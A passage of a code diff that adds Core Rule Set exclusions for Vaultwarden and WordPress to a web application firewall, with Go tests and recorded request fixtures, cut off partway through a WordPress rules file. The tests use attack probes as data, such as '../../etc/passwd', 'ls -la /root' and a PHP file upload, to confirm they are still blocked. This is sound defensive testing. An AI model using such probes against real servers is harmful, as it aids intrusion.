wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=powershell&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 136", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=docker-helper&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 131", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=htaccess&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+0.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 172", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+1.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fpython3.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+2.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+3.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fls+-la%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+4.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F.htaccess&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} diff --git a/internal/coreruleset/vaultwarden.conf b/internal/coreruleset/vaultwarden.conf new file mode 100644 index 0000000..cc02c23 --- /dev/null +++ b/internal/coreruleset/vaultwarden.conf @@ -0,0 +1,136 @@ +# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that +# refused ordinary Vaultwarden requests there. They are the fields where +# Vaultwarden receives a name, a password hint or an email address in plain +# text, and the names of uploaded files. Each exclusion runs with the request, +# before the rules it switches off, so this file is loaded before the Core Rule +# Set's rules. Each comment names a request a rule refused. An exclusion on a +# field of a body applies only when the query has no parameter of that name, so +# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. +# +# The apps encrypt the names, notes, addresses and file names of vault items, +# folders, collections and sends before they send them. These values pass +# without exclusions. +# +# Four rules read a name or a hint as a command or a system file: +# 930120: .htaccess +# 932120: powershell +# 932250: ls -la +# 932260: python3 + +# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It +# sets it while SWW_WAF_APPS is unset, or lists vaultwarden for the request's +# hostname. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_vaultwarden itself. +SecRule &TX:app_vaultwarden "@eq 0" \ + "id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN" + +# Names and password hints, in JSON bodies, skip the four rules: +# name: signing up, editing the account's profile, and creating or renaming +# an organization or a group, "python3 .htaccess team" +# name: naming a security key at /api/two-factor/webauthn, "python3 key" +# masterPasswordHint: signing up or changing the master password, +# "the .htaccess one, not powershell" +# invitation_org_name, smtp_from_name: saving the admin page's settings, +# "ls -la and .htaccess vault" +# Drupal serves /admin/config too, but sends no JSON there. +SecRule REQUEST_FILENAME "@rx ^/identity/accounts/|^/api/(?:accounts|emergency-access|organizations)(?:/|$)|^/api/two-factor/webauthn$|^/admin/config$" \ + "id:900150,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/" + +# Email addresses, in bodies, skip 930120, 932120 and 932260, which refused +# these addresses: +# 930120: jane.profile@example.com +# 932120: powershell@example.com +# 932260: python3.dev@example.com +# These fields hold an address: +# username: signing in at /identity/connect/token, in form data +# email: signing up, asking for the password hint, inviting an emergency +# contact, and inviting a user from the admin page +# email: setting up sign-in codes by email, and asking for one when signing +# in, under /api/two-factor/ +# email: signing in with another device, at /api/auth-requests +# email: sending the admin page's test email, at /admin/test/smtp +# salt fields, such as masterPasswordUnlock.salt: signing up and changing +# the master password, which send the address as the salt +# accountUnlockData.masterPasswordUnlockData.email: rotating the account's +# encryption key +# newEmail: changing the account's address +# billingEmail: creating or editing an organization +# emails: inviting members to an organization +# smtp_from, smtp_username, org_creation_users: saving the admin page's +# settings +# An address holds no spaces, so it keeps 932250, which needs ls -la. +SecRule REQUEST_FILENAME "@rx ^/identity/(?:connect/token$|accounts/)|^/api/(?:accounts|emergency-access|organizations|auth-requests)(?:/|$)|^/api/two-factor/|^/admin/(?:config|invite|test/smtp)$" \ + "id:900151,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/" + +# The data breach report sends an address in the query, which skips the same +# three rules: /api/hibp/breach?username=jane.profile%40example.com. +SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \ + "id:900152,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:username,\ + ctl:ruleRemoveTargetById=932120;ARGS:username,\ + ctl:ruleRemoveTargetById=932260;ARGS:username" + +# An uploaded attachment or file send is named by its encrypted name, such as +# "2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrR...". 920120 refused the "=" in +# it, so the names of uploaded files skip 920120 on these paths: +# /api/ciphers//attachment/, and the older uploads to +# /api/ciphers//attachment, /api/ciphers//attachment-admin and +# /api/ciphers//attachment//share +# /api/sends//file/ +SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \ + "id:900153,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=920120;FILES" + +# The admin token, which an administrator types at /admin, skips each rule that +# random passwords set off. The master password is hashed by the apps before +# they send it, so password and masterPasswordHash need no exclusion. +SecRule REQUEST_FILENAME "@rx ^/admin/?$" \ + "id:900154,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:token "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:token,\ + ctl:ruleRemoveTargetById=920540;ARGS:token,\ + ctl:ruleRemoveTargetById=921200;ARGS:token,\ + ctl:ruleRemoveTargetById=930100;ARGS:token,\ + ctl:ruleRemoveTargetById=930110;ARGS:token,\ + ctl:ruleRemoveTargetById=930120;ARGS:token,\ + ctl:ruleRemoveTargetById=932125;ARGS:token,\ + ctl:ruleRemoveTargetById=932130;ARGS:token,\ + ctl:ruleRemoveTargetById=932160;ARGS:token,\ + ctl:ruleRemoveTargetById=932230;ARGS:token,\ + ctl:ruleRemoveTargetById=932250;ARGS:token,\ + ctl:ruleRemoveTargetById=932260;ARGS:token,\ + ctl:ruleRemoveTargetById=932270;ARGS:token,\ + ctl:ruleRemoveTargetById=932280;ARGS:token,\ + ctl:ruleRemoveTargetById=932330;ARGS:token,\ + ctl:ruleRemoveTargetById=932340;ARGS:token,\ + ctl:ruleRemoveTargetById=932370;ARGS:token,\ + ctl:ruleRemoveTargetById=932380;ARGS:token,\ + ctl:ruleRemoveTargetById=933100;ARGS:token,\ + ctl:ruleRemoveTargetById=933135;ARGS:token,\ + ctl:ruleRemoveTargetById=933180;ARGS:token,\ + ctl:ruleRemoveTargetById=933210;ARGS:token,\ + ctl:ruleRemoveTargetById=941100;ARGS:token,\ + ctl:ruleRemoveTargetById=941120;ARGS:token,\ + ctl:ruleRemoveTargetById=941160;ARGS:token,\ + ctl:ruleRemoveTargetById=941180;ARGS:token,\ + ctl:ruleRemoveTargetById=942100;ARGS:token,\ + ctl:ruleRemoveTargetById=942151;ARGS:token,\ + ctl:ruleRemoveTargetById=942190;ARGS:token,\ + ctl:ruleRemoveTargetById=942230;ARGS:token,\ + ctl:ruleRemoveTargetById=942290;ARGS:token,\ + ctl:ruleRemoveTargetById=942320;ARGS:token,\ + ctl:ruleRemoveTargetById=942540;ARGS:token,\ + ctl:ruleRemoveTargetById=942550;ARGS:token,\ + ctl:ruleRemoveTargetById=944150;ARGS:token" + +SecMarker END_VAULTWARDEN diff --git a/internal/coreruleset/vaultwarden_test.go b/internal/coreruleset/vaultwarden_test.go new file mode 100644 index 0000000..fa69e8a --- /dev/null +++ b/internal/coreruleset/vaultwarden_test.go @@ -0,0 +1,517 @@ +package coreruleset_test + +import ( + "encoding/base64" + "encoding/json" + "math/rand/v2" + "net/http" + "net/url" + "slices" + "strings" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/coreruleset" +) + +// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. +const vaultwardenThreshold = 5 + +// Paths of Vaultwarden's API and admin page. +const ( + vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b" + vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d" + vaultwardenSignUp = "/identity/accounts/register/send-verification-email" + vaultwardenFinishSignUp = "/identity/accounts/register/finish" + vaultwardenPassword = "/api/accounts/password" + vaultwardenProfile = "/api/accounts/profile" + vaultwardenSettings = "/admin/config" + vaultwardenSecurityKey = "/api/two-factor/webauthn" +) + +// vaultwardenEmail is a JSON body that sends an address in email. +const vaultwardenEmail = `{"email":"VALUE"}` + +func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden( + t *testing.T, +) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {"vaultwarden"}, + }) + + // An address for the data breach report, which only Vaultwarden's fixes + // let through. + report := get(vaultwardenBreachReport + "python3%40example.com") + + wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(report, giteaHost), matched(932260)) +} + +// vaultwardenField is a field Vaultwarden receives in plain text: the +// request that sends it, and its body, with VALUE where the field's value +// goes. +type vaultwardenField struct { + method, target, contentType, body string +} + +// with returns f's body holding value, escaped as f's kind of body escapes +// it. +func (f vaultwardenField) with(t *testing.T, value string) string { + t.Helper() + + escaped := url.QueryEscape(value) + + if f.contentType == jsonBody { + quoted, err := json.Marshal(value) + if err != nil { + t.Fatal(err) + } + + escaped = strings.Trim(string(quoted), `"`) + } + + return strings.ReplaceAll(f.body, "VALUE", escaped) +} + +// vaultwardenNameFields hold every field that skips 930120, 932120, 932250 +// and 932260: the names and the password hints. +// +//nolint:gochecknoglobals // a constant cannot be a list +var vaultwardenNameFields = []vaultwardenField{ + { + http.MethodPost, vaultwardenSignUp, jsonBody, + `{"email":"alice@example.com","name":"VALUE"}`, + }, + { + http.MethodPost, vaultwardenFinishSignUp, jsonBody, + `{"email":"alice@example.com","masterPasswordHint":"VALUE"}`, + }, + { + http.MethodPut, + vaultwardenProfile, + jsonBody, + `{"name":"VALUE","culture":"en-US"}`, + }, + { + http.MethodPost, + vaultwardenPassword, + jsonBody, + `{"masterPasswordHint":"VALUE"}`, + }, + { + http.MethodPost, "/api/organizations", jsonBody, + `{"name":"VALUE","billingEmail":"billing@example.com"}`, + }, + {http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`}, + { + http.MethodPost, + vaultwardenOrganization + "/groups", + jsonBody, + `{"name":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"invitation_org_name":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"smtp_from_name":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSecurityKey, + jsonBody, + `{"id":1,"name":"VALUE"}`, + }, + { + http.MethodPut, + vaultwardenSecurityKey, + jsonBody, + `{"id":1,"name":"VALUE"}`, + }, +} + +// vaultwardenAddressFields hold every field of a body that skips 930120, +// 932120 and 932260: the email addresses. +// +//nolint:gochecknoglobals // a constant cannot be a list +var vaultwardenAddressFields = []vaultwardenField{ + { + http.MethodPost, "/identity/connect/token", formData, + "grant_type=password&username=VALUE&password=example&scope=api+offline_access", + }, + { + http.MethodPost, + "/identity/accounts/prelogin/password", + jsonBody, + vaultwardenEmail, + }, + { + http.MethodPost, + vaultwardenSignUp, + jsonBody, + `{"email":"VALUE","name":"Alice"}`, + }, + {http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail}, + { + http.MethodPost, vaultwardenFinishSignUp, jsonBody, + `{"masterPasswordAuthentication":{"salt":"VALUE"}}`, + }, + { + http.MethodPost, vaultwardenFinishSignUp, jsonBody, + `{"masterPasswordUnlock":{"salt":"VALUE"}}`, + }, + { + http.MethodPost, vaultwardenPassword, jsonBody, + `{"authenticationData":{"salt":"VALUE"}}`, + }, + { + http.MethodPost, + vaultwardenPassword, + jsonBody, + `{"unlockData":{"salt":"VALUE"}}`, + }, + { + http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody, + `{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`, + }, + { + http.MethodPost, + "/api/accounts/password-hint", + jsonBody, + vaultwardenEmail, + }, + { + http.MethodPost, + "/api/accounts/email-token", + jsonBody, + `{"newEmail":"VALUE"}`, + }, + { + http.MethodPost, "/api/emergency-access/invite", jsonBody, + `{"email":"VALUE","type":0}`, + }, + { + http.MethodPut, + vaultwardenOrganization, + jsonBody, + `{"billingEmail":"VALUE"}`, + }, + { + http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody, + `{"emails":["alice@example.com","VALUE"],"type":2}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"smtp_from":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"smtp_username":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"org_creation_users":"VALUE"}`, + }, + {http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail}, + {http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail}, + { + http.MethodPost, + "/api/two-factor/send-email-login", + jsonBody, + vaultwardenEmail, + }, + { + http.MethodPost, + "/api/two-factor/send-email", + jsonBody, + vaultwardenEmail, + }, + { + http.MethodPut, "/api/two-factor/email", jsonBody, + `{"email":"VALUE","token":"123456"}`, + }, + { + http.MethodPost, + "/api/auth-requests", + jsonBody, + `{"email":"VALUE","type":0}`, + }, +} + +// vaultwardenBreachReport is the data breach report, which sends an address +// in the query, ending in "=". +const vaultwardenBreachReport = "/api/hibp/breach?username=" + +// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused. +// +//nolint:gochecknoglobals // a constant cannot be a list +var vaultwardenAddresses = []string{ + "jane.profile@example.com", + "python3.dev@example.com", + "powershell@example.com", +} + +// wantVaultwardenField checks that the Core Rule Set, reading bodies, +// refuses f holding value, or lets it through. +func wantVaultwardenField( + t *testing.T, f vaultwardenField, value string, refused bool, +) { + t.Helper() + + r := request{f.method, f.target, []string{f.contentType}} + body := f.with(t, value) + + got, _ := inspectBody(t, readingBodies(t), r, body) + if refused && got.Score < vaultwardenThreshold { + t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got) + } + + if !refused && got.Score >= vaultwardenThreshold { + t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got) + } +} + +func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) { + t.Parallel() + + for _, encoded := range hardValues { + value, _ := url.QueryUnescape(encoded) + + for _, f := range vaultwardenNameFields { + wantVaultwardenField(t, f, value, false) + } + } + + for _, value := range vaultwardenAddresses { + for _, f := range vaultwardenAddressFields { + wantVaultwardenField(t, f, value, false) + } + + target := vaultwardenBreachReport + url.QueryEscape(value) + if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold { + t.Errorf("%s refused: %+v", target, got) + } + } +} + +// vaultwardenAttacks are an SQL injection, a script injection, a shell +// command and a path traversal. +// +//nolint:gochecknoglobals // a constant cannot be a list +var vaultwardenAttacks = []string{ + injection, + scriptTag, + shellCommand, + "../../etc/passwd", +} + +func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) { + t.Parallel() + + for _, attack := range vaultwardenAttacks { + for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) { + wantVaultwardenField(t, f, attack, true) + } + + target := vaultwardenBreachReport + url.QueryEscape(attack) + if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold { + t.Errorf("%s let through: %+v", target, got) + } + } + + // An address keeps 932250, which refuses a listing of files. + for _, f := range vaultwardenAddressFields { + wantVaultwardenField(t, f, "ls -la /root", true) + } +} + +func TestVaultwardenExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // A name keeps the rules on vault items and folders, whose names are + // encrypted, on two-factor paths other than security keys', off + // Vaultwarden's paths, and when the query has a field of the same name. + for _, target := range []string{ + "/api/ciphers", + "/api/folders", + "/x" + vaultwardenProfile, + "/identity/other", + "/api/two-factor/authenticator", + vaultwardenProfile + "?json.name=python3", + } { + r := request{http.MethodPost, target, []string{jsonBody}} + body := `{"name":"python3"}` + + if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold { + t.Errorf("POST %s %s let through: %+v", target, body, got) + } + } + + for _, refused := range []struct{ target, body string }{ + {"/admin/other", `{"invitation_org_name":"python3"}`}, + {vaultwardenProfile, `{"culture":"python3"}`}, + {"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`}, + } { + r := request{http.MethodPost, refused.target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, refused.body) + if got.Score < vaultwardenThreshold { + t.Errorf( + "POST %s %s let through: %+v", + refused.target, + refused.body, + got, + ) + } + } + + r := request{http.MethodPost, "/identity/other", []string{formData}} + + got, _ := inspectBody(t, crs, r, "username=python3") + if got.Score < vaultwardenThreshold { + t.Errorf("POST %s username=python3 let through: %+v", r.target, got) + } + + target := "/api/hibp/other?username=python3" + if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold { + t.Errorf("%s let through: %+v", target, got) + } +} + +// vaultwardenUpload returns a multipart body that uploads a file named name. +func vaultwardenUpload(name string) string { + return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name + + "\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end +} + +func TestVaultwardenAdminTokenPasses(t *testing.T) { + t.Parallel() + + wantPasswordFieldsPass(t, []passwordFields{ + {"/admin", formData, []string{"token"}}, + }) +} + +// masterPasswordHashes returns count random 32-byte hashes in base64, the +// form in which the apps send a master password. +func masterPasswordHashes(count int) []string { + const size, seed = 32, 288 + + //nolint:gosec // a fixed sample + random := rand.New(rand.NewPCG(seed, seed)) + + hashes := make([]string, count) + + for i := range hashes { + hash := make([]byte, size) + for j := range hash { + hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256 + } + + hashes[i] = base64.StdEncoding.EncodeToString(hash) + } + + return hashes +} + +// The apps hash the master password before they send it, so these fields +// hold only base64 and set off no rule, with no exclusion. +func TestVaultwardenMasterPasswordHashesPass(t *testing.T) { + t.Parallel() + + const perBody = 20 + + crs := readingBodies(t) + hashes := masterPasswordHashes(perBody) + + for _, sent := range []struct { + r request + names []string + }{ + { + request{http.MethodPost, "/identity/connect/token", []string{formData}}, + []string{passwordKey}, + }, + { + request{http.MethodPost, vaultwardenPassword, []string{jsonBody}}, + []string{"masterPasswordHash", "newMasterPasswordHash"}, + }, + { + request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}}, + []string{"masterPasswordHash"}, + }, + } { + body := passwordBody(t, sent.r, sent.names, hashes...) + if len(body) > bodyInspectionSize { + t.Fatalf( + "a body of %d bytes is cut at bodyInspectionSize", + len(body), + ) + } + + if got, _ := inspectBody(t, crs, sent.r, body); len( + got.RuleIDs, + ) != 0 { + t.Errorf( + "POST %s %v set off rules: %+v", + sent.r.target, + sent.names, + got, + ) + } + } +} + +func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + encrypted := vaultwardenUpload( + "2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=", + ) + + for _, target := range []string{ + vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a", + vaultwardenCipher + "/attachment", + vaultwardenCipher + "/attachment-admin", + vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share", + "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796", + } { + r := request{http.MethodPost, target, []string{multipart}} + + if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold { + t.Errorf("POST %s refused: %+v", target, got) + } + + // The names of uploaded files keep the other rules: a path + // traversal and a PHP script are still refused. + for _, name := range []string{"../../etc/passwd", "x.php"} { + got, _ := inspectBody(t, crs, r, vaultwardenUpload(name)) + if got.Score < vaultwardenThreshold { + t.Errorf("POST %s %s let through: %+v", target, name, got) + } + } + } + + for _, target := range []string{"/upload", vaultwardenCipher + "/other"} { + r := request{http.MethodPost, target, []string{multipart}} + + if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold { + t.Errorf("POST %s let through: %+v", target, got) + } + } +} diff --git a/internal/coreruleset/wordpress.conf b/internal/coreruleset/wordpress.conf new file mode 100644 index 0000000..2e7ae4e --- /dev/null +++ b/internal/coreruleset/wordpress.conf @@ -0,0 +1,326 @@ +# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused +# ordinary WordPress requests there. Each exclusion runs with the request, before +# the rules it switches off, so this file is loaded before the Core Rule Set's +# rules. Each comment names a request the rule refused. An exclusion on a field +# of a body applies only when the query has no parameter of that name, so it +# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. + +# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets +# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_wordpress itself. +SecRule &TX:app_wordpress "@eq 0" \ + "id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS" + +# WordPress takes a call to its REST API at any of four addresses: +# /wp-json/wp/v2/posts/1 +# /index.php/wp-json/wp/v2/posts/1 +# /index.php?rest_route=/wp/v2/posts/1 +# /?rest_route=/wp/v2/posts/1 +# These two rules put the route, here /wp/v2/posts/1, in tx.rest_route for the +# exclusions below. A call that names a route in both its path and its query +# gets none of them, since WordPress follows the query. +SecRule &ARGS_GET:rest_route "@eq 0" "id:900705,phase:1,pass,nolog,chain" + SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?wp-json(/.*)$" \ + "capture,setvar:tx.rest_route=%{tx.1}" +SecRule REQUEST_FILENAME "@rx ^/(?:index\.php)?$" "id:900706,phase:1,pass,nolog,chain" + SecRule ARGS_GET:rest_route "@rx ^(/.*)$" "capture,setvar:tx.rest_route=%{tx.1}" + +# The block editor saves a post with POST and the header X-HTTP-Method-Override: +# PUT, which the Core Rule Set refused (920450). So does saving a user's editor +# preferences. +SecRule TX:rest_route 